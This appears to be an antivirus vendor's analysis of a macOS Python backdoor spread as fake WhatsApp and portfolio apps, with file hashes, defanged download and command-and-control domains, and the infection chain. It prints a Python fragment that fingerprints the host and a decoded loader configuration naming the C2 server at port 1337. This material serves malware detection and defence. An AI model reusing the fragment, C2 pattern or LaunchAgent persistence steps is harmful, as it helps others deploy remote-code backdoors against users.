- 66ecc5d96d7fbcb54cac534a16b12e918fa0f11c (WhatsAppService.app.zip; Portfolio.app.zip)
- eb369722f8c5fed739fe3ceb210115007c583280 (WhatsAppService.app/Contents/Resources/script)
- 95421226a71e9b1977a14ed03c3c0ab7ac8f6a20 (a.plist)
- 0640decb8b5511d4c36ce8a98a287e2d8d2fe375 (c.sh)
- 16b7fe4d36672664d2a4816558f01e0ee171c284 (Python.BackDoor.72)
Description
A backdoor for macOS that allows attackers to download and run any Python code on a user’s device. It’s disguised as a portfolio and distributed via usb[.]mine[.]nu site, as well as on message-whatsapp[.]com site under the guise of the WhatsApp messenger.
Operating routine
The backdoor has five components. Malicious code is stored in WhatsAppService.app/Contents/Resources/script. Once on the user’s device, the script ends all the terminal’s processes. After that it downloads the plist file from http://usb[.]mine[.]nu/a.plist into ~/Library/LaunchAgents/a.plist and assigns execution rights (+x).
It then runs the downloaded plist through launchctl, which is used to launch the /Users/Shared/c.sh script upon system start. After that it downloads http://usb[.]mine[.]nu/c.sh into the /Users/Shared/c.sh file, assigns execution rights (+x) and runs it.
Upon launch c.sh makes a request to http://usb[.]mine[.]nu/p.php and checks if the response contains the string “open”. Then it searches through active daemon processes for the one named "HEYgiNb". If the string is found and the daemon it absent, it decodes (base64) the python script and runs it.
The Python script prepares HTTP headers for the following request:
def get_uid():
return hexlify(getpass.getuser() + "-" + str(getnode()))
data = {
"Cookie": "session=" + b64encode(get_uid()) + "-eyJ0eXBlIjogMCwgInBheWxvYWRfb3B0aW9ucyI6IHsiaG9zdCI6ICJ6ci53ZWJob3Aub3JnIiwgInBvcnQiOiAxMzM3fSwgImxvYWRlcl9vcHRpb25zIjogeyJwYXlsb2FkX2ZpbGVuYW1lIjogInloeEp0T1MiLCAibGF1bmNoX2FnZW50X25hbWUiOiAiY29tLmFwcGxlLkhFWWdpTmIiLCAibG9hZGVyX25hbWUiOiAibGF1bmNoX2RhZW1vbiIsICJwcm9ncmFtX2RpcmVjdG9yeSI6ICJ+L0xpYnJhcnkvQ29udGFpbmVycy8uUXN4WGFtSXkifX0=",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
}
At the same time, a part of the Cookie parameter includes parameters of the loader.
{"type": 0, "payload_options": {"host": "zr.webhop.org", "port": 1337}, "loader_options": {"payload_filename": "yhxJtOS", "launch_agent_name": "com.apple.HEYgiNb", "loader_name": "launch_daemon", "program_directory": "~/Library/Containers/.QsxXamIy"}}
Then the script sends an HTTP request with prepared headers to http://zr[.]webhop[.]org:1337. If the answer has code 404, the script extracts data from it starting after the “DEBUG:\n” and deletes the "DEBUG–>” string(s). After that, the script decodes (base64) and runs the resulting script.